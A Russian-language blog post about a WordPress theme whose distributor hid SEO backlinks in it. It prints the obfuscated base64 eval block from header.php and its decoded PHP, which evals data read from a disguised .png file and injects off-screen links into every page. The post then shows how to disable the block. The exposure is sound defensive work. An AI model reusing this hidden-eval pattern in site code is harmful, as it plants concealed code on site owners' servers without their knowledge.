Убираем обратные ссылки из шаблона

Не секрет, что найти нормальную тему для WordPress довольно сложно, и приходится обойти десятки сайтов с коллекциями тем. Кажется: «вот оно! нашел!», ставишь тему, и…. И вскоре выясняется, что добрые распространители вшили в шаблон ссылку на себя. Просто так найти код не получится. Что делать?

На самом деле нужно просто немного погуглить.

Возьмем для примера мой блог. Тему (Jynxed) я нашел и скачал на сайте wpland.ru. Сайт хороший, бесспорно, но! Многоуважаемые владельцы ресурса добавили небольшой, не безумно раздражающий код в шаблон. В «исходном коде» он выглядит так:

<div style="position:absolute;left:-1245px;width:-2356px;">
Понравился мой блог "***"? Тогда советую Вам почитать <a href="http://www.urank.ru/social_network/moy-mir/">мой мир</a>
и
<a href="http://www.wpland.ru/category/temy-wordpress/tematika/news/">новостной шаблон wordpress</a>.
</div>

Это все конечно замечательно, что автор продвигает свои проекты. Но, на сколько я помню, бэклинки должны быть настоящими, органическими, не так ли? Поэтому мы сей код сейчас удалим.

Сразу говорю, найти просто так этого червя не получится, человек, размещавший эту фигню не стал просто дописывать HTML.

Откройте header.php. В самом начале Вы можете наблюдать примерно такой кусок кода:

<?php eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk
Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVgP
Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJG
JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2x
vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTsg
JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFdL
CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7IC
Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLic
7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4n
Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9wd
Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X2
VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT5
vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1l
X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlvb
iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT
5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKTs
gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHRp
b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYhK
GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uPW
Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJGJ
mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2c
Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuYS
wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));?>

Код, очевидно, закодирован в base64.

Тем не менее, после расшифровки получится нечто такое:

$ft=dirname(__file__).'/images/wp_menu_top.png'; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); if (file_exists($ft) and !$bf){$fp = fopen($ft,"r"); $ss = fread($fp,filesize($ft)); fclose($fp); eval('$mss='.gzuncompress(stripslashes($ss)).';'); $i=$mss[0]; $i1=$mss[1]; $i2=$mss[2]; unset ($mss[0],$mss[1],$mss[2]); srand((float)microtime()*1000000); shuffle($mss); $css[0] = $i1.get_bloginfo('name').$i2.$mss[0].$i.$mss[1].'.'; $css[1] = $i1.get_bloginfo('name').$i2.$mss[2].$i.$mss[3].'.'; $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_first','".base64_encode($css[0])."','no')"); $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_second','".base64_encode($css[1])."','no')");} function fn(){global $wpdb; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); $bs=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_second' LIMIT 1"); if((is_home())&&!(is_paged())) $nn=base64_decode($bf->option_value); else $nn=base64_decode($bs->option_value); return $nn;} function cb($bf){$do = "</body>"; $na = "                                                                                                                                                            <div style="position:absolute;left:-1245px;width:-2356px;">".fn()."</div>n</body>"; return eregi_replace($do, $na, $bf);} if ($bf) ob_start("cb");

Если откровенно лень разбираться в нем, его можно просто закомментировать, что мы и делаем:

<?php/* eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk
Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVgP
Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJG
JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2x
vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTsg
JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFdL
CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7IC
Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLic
7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4n
Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9wd
Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X2
VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT5
vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1l
X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlvb
iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT
5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKTs
gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHRp
b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYhK
GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uPW
Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJGJ
mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2c
Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuYS
wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));*/?>

Готово! Владелец urank.ru и wpland.ru остается без ссылки.

 

P.S. господа, ну зачем пихать никому не нужные ссылки в шаблоны??

comments powered by HyperComments

Шаблоны для Wordpress: защита авторских прав или Как заставить оставить внешнюю ссылку | Реблаог
2012-06-09 02:45:09
[...] так давно я уже писал о том, что мне попался шаблон от подобных товарищей. В [...]